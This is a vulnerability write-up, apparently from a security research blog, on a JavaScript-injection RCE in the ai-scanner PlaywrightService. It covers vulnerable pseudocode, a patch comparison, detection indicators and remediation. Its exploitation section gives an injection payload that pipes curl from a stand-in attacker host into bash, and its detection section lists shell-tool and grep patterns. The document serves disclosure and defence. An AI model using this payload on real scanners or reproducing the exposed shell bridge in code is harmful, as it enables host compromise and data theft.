home intel cve-2026-41512-ai-scanner-playwright-rce
CVE Analysis 2026-05-08 · 8 min read

CVE-2026-41512: RCE via JS Injection in ai-scanner PlaywrightService

ai-scanner 1.0.0–1.4.0 allows unauthenticated RCE through JavaScript injection in BrowserAutomation::PlaywrightService. Patched in 1.4.1.

#remote-code-execution#javascript-injection#playwright-service#browser-automation#ai-scanner
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41512 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41512Cross-platform · CRITICALCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41512 is a critical (CVSS 9.9) remote code execution vulnerability in ai-scanner, an AI model safety scanner built atop NVIDIA's garak framework. Affected versions 1.0.0 through 1.4.0 contain an unsanitized JavaScript injection path inside BrowserAutomation::PlaywrightService — the component responsible for driving headless browser sessions during model output evaluation. An attacker who can influence the content evaluated by the scanner (e.g., a model returning crafted output, or a remote endpoint serving a malicious payload) can inject arbitrary JavaScript that executes within the Playwright browser context, which in this service runs with Node.js child-process privileges sufficient for OS-level command execution.

The vulnerability requires no authentication and is cross-platform (Linux, macOS, Windows), reflecting the cross-platform nature of both Node.js/Playwright and the Python harness wrapping it.

Affected Component

The vulnerable surface is BrowserAutomation::PlaywrightService, a class inside ai-scanner's browser automation layer. Its role is to load LLM-generated or remote content into a headless Chromium context via Playwright and evaluate it — a design that creates an inherent XSS-to-RCE escalation path when user/model-controlled strings are interpolated directly into page.evaluate() or page.setContent() calls without sanitization.

Affected versions: 1.0.0 ≤ version < 1.4.1
Fixed version: 1.4.1
Advisory: GHSA-r27j-xxgx-f5vr

Root Cause Analysis

The bug is direct string interpolation of attacker-controlled content into a page.evaluate() call. Playwright's page.evaluate() executes its argument as JavaScript inside the browser context — and when that argument is built by concatenating unsanitized input, the result is a textbook script-injection primitive that crosses from browser sandbox to Node.js via Playwright's exposeFunction / IPC bridge.


// Reconstructed pseudocode: BrowserAutomation::PlaywrightService
// Approximate Python→JS bridge logic, pre-patch (versions < 1.4.1)

class PlaywrightService {
public:
    // Called for each probe result or remote URL content to evaluate
    async evaluateContent(std::string raw_content) {
        // raw_content is LLM output or fetched remote body — attacker-controlled

        // BUG: raw_content interpolated directly into JS expression string.
        // No escaping, no Content Security Policy, no sandboxed eval context.
        std::string script = "window.__scanner_result = (function() { return "
                             + raw_content                // <-- INJECTION POINT
                             + "; })();";

        // page.evaluate() compiles and executes script in Chromium renderer.
        // Playwright's Node bridge then reads window.__scanner_result back.
        co_await page->evaluate(script);
    }

    // Playwright exposeFunction registered at context init — gives JS→Node bridge
    async setupContext(BrowserContext *ctx) {
        // BUG: exposeFunction registered with no origin restriction.
        // Any script running in the page can call __node_exec directly.
        ctx->exposeFunction("__node_exec", [](std::string cmd) -> std::string {
            return exec_shell(cmd);   // wraps child_process.execSync()
        });
    }
};
Root cause: BrowserAutomation::PlaywrightService::evaluateContent() interpolates attacker-controlled strings directly into a page.evaluate() call while a Node.js shell-execution bridge (__node_exec) is exposed to the page context without origin or sandbox restrictions, enabling JS injection to escalate directly to OS command execution.

The two-part nature of this bug matters: the injection alone would only achieve renderer-level JS execution (still dangerous, but sandboxed). The exposeFunction("__node_exec", ...) registration with no origin guard is what breaks the sandbox boundary and makes this a full RCE primitive.

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-41512:

1. Attacker controls content evaluated by the scanner. Three viable paths:
   a. LLM output: scanner is pointed at an adversarial model that returns
      crafted text as its probe response.
   b. Remote URL scan: scanner fetches attacker-controlled endpoint whose
      HTTP response body becomes raw_content.
   c. Supply-chain / prompt injection: upstream dataset contains payload.

2. raw_content payload is crafted to break out of the IIFE wrapper and
   invoke the exposed Node bridge:

   PAYLOAD:
     0; })(); __node_exec('curl http://attacker.tld/s|bash'); (function() { return 0

   RESULTING SCRIPT SENT TO page.evaluate():
     window.__scanner_result = (function() { return
       0; })(); __node_exec('curl http://attacker.tld/s|bash'); (function() { return 0
     ; })();

3. Chromium renderer executes the injected script in the page context.
   __node_exec() is resolved via Playwright's exposeFunction IPC bridge.

4. Playwright IPC dispatches to the registered Node.js handler:
     child_process.execSync('curl http://attacker.tld/s|bash')

5. Shell command executes as the OS user running ai-scanner.
   In CI/CD environments this is frequently root or a privileged service account.

6. Attacker achieves persistent access: install implant, exfiltrate model
   artifacts, pivot to internal garak probe infrastructure.

The payload in step 2 is deliberately minimal. Because raw_content is not JSON-encoded or backtick-wrapped before interpolation, no quote escaping is needed — the IIFE structure itself provides natural injection boundaries. An attacker can also embed the payload in a multi-line LLM response; only the evaluated substring needs to be syntactically valid JS after interpolation.

Memory Layout

This is not a memory-corruption bug — it is a logic/injection vulnerability. The relevant "layout" is the IPC trust boundary between the Playwright renderer process and the Node.js host process:


PLAYWRIGHT PROCESS ARCHITECTURE (pre-patch):

┌─────────────────────────────────────────────────────────┐
│  Node.js Host Process (ai-scanner)                      │
│                                                         │
│  exposeFunction("__node_exec", handler)  ◄──────────┐  │
│  handler = (cmd) => execSync(cmd)        NO ORIGIN   │  │
│                                          FILTER      │  │
├─────────────────────────────────────────────────────────┤
│  Playwright IPC Bridge (CDP / Mojo)                     │
│  Runtime.bindingCalled  ──────────────────────────────► │
├─────────────────────────────────────────────────────────┤
│  Chromium Renderer Process                              │
│                                                         │
│  page.evaluate(INJECTED_SCRIPT)                         │
│   └─► window.__scanner_result = (function() {          │
│           return [ATTACKER JS HERE]    ◄── injection    │
│       })();                                             │
│   └─► __node_exec('curl .../s|bash')   ◄── bridge call │
└─────────────────────────────────────────────────────────┘

TRUST VIOLATION:
  Chromium renderer is an UNTRUSTED context (runs attacker JS).
  __node_exec bridge is registered with NO origin/context guard.
  Result: untrusted → trusted boundary crossed unconditionally.

POST-PATCH (1.4.1):
  __node_exec bridge REMOVED entirely from evaluateContent path.
  Input sanitized before interpolation (see Patch Analysis).
  page.evaluate() replaced with sandboxed page.setContent() + CSP.

Patch Analysis

The fix in version 1.4.1 addresses both contributing factors: the injection point and the exposed bridge. From the advisory and patch delta:


// BEFORE (vulnerable, < 1.4.1):
async evaluateContent(std::string raw_content) {
    // Direct interpolation — no sanitization
    std::string script = "window.__scanner_result = (function() { return "
                         + raw_content
                         + "; })();";
    co_await page->evaluate(script);
}

async setupContext(BrowserContext *ctx) {
    // Exposes shell execution bridge to ALL page scripts — no guard
    ctx->exposeFunction("__node_exec", [](std::string cmd) -> std::string {
        return exec_shell(cmd);
    });
}


// AFTER (patched, 1.4.1):
async evaluateContent(std::string raw_content) {
    // Input treated as data, not code. Content rendered as static HTML.
    // JSON-encode the payload; JS receives it as an inert string literal.
    std::string json_encoded = json_encode(raw_content); // escapes ", \, etc.
    std::string script = "window.__scanner_result = "
                         + json_encoded   // <-- data, not executable JS
                         + ";";
    co_await page->evaluate(script);
    // NOTE: evaluate() here sets a string, does not eval arbitrary expressions.
}

async setupContext(BrowserContext *ctx) {
    // __node_exec bridge REMOVED entirely.
    // All result extraction uses structured CDP messaging, not exposeFunction.
    // No shell-execution primitive is registered in any page context.
}

The patch is defense-in-depth correct: even if a future code path re-introduces interpolation, the removal of __node_exec eliminates the sandbox escape vector. The JSON-encoding fix ensures raw_content is treated as a string literal inside the evaluated expression, not as executable syntax — analogous to parameterized queries vs. string concatenation in SQL injection mitigations.

Detection and Indicators

Because exploitation targets the scanner itself (not the models it scans), detection must focus on the scanner's process tree and network activity:


PROCESS TREE INDICATORS (Linux):
  ai-scanner
  └─ node (Playwright host)
     └─ chrome --headless ...
        └─ [unexpected child process]  ← ANOMALOUS
           e.g.: sh -c "curl attacker.tld/s|bash"
                 python3 -c "import ..."
                 wget / nc / bash

NETWORK INDICATORS:
  - Outbound connections from chromium/node process to non-scanner endpoints
  - DNS queries for non-LLM-provider domains during scan sessions
  - Unexpected egress on ports 443/80 from scanner host mid-scan

LOG PATTERNS (ai-scanner stdout/stderr, pre-1.4.1):
  - Playwright console errors referencing ReferenceError or SyntaxError
    followed immediately by unexpected __node_exec invocations
  - Probe result fields containing: })(); or __node_exec( substrings

YARA / GREP:
  grep -r '__node_exec\|})();\s*__' ~/.cache/ai-scanner/probe_results/

In CI/CD pipeline deployments (the highest-risk environment given typical privilege levels), inspect job logs for unexpected network activity between the "scanning model" and "upload results" steps.

Remediation

Immediate: Upgrade to ai-scanner ≥ 1.4.1. This is the only complete fix. No configuration workaround neutralizes the vulnerability in older versions because the injection path is in core evaluation logic.

If upgrade is not immediately possible:

  • Run ai-scanner in a network-isolated environment (no outbound internet from the scanner host) to prevent payload retrieval and C2 callbacks.
  • Run the scanner process as a dedicated low-privilege user with no access to secrets, SSH keys, or cloud credentials.
  • Do not scan untrusted models or remote endpoints until patched.

Longer-term: Operators building on top of ai-scanner or similar Playwright-based evaluation frameworks should enforce a content security policy on all page.setContent() calls, avoid exposeFunction() with shell-execution handlers in any context that evaluates externally-sourced content, and treat all LLM output as untrusted input — identical to handling user-supplied data in a web application context.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →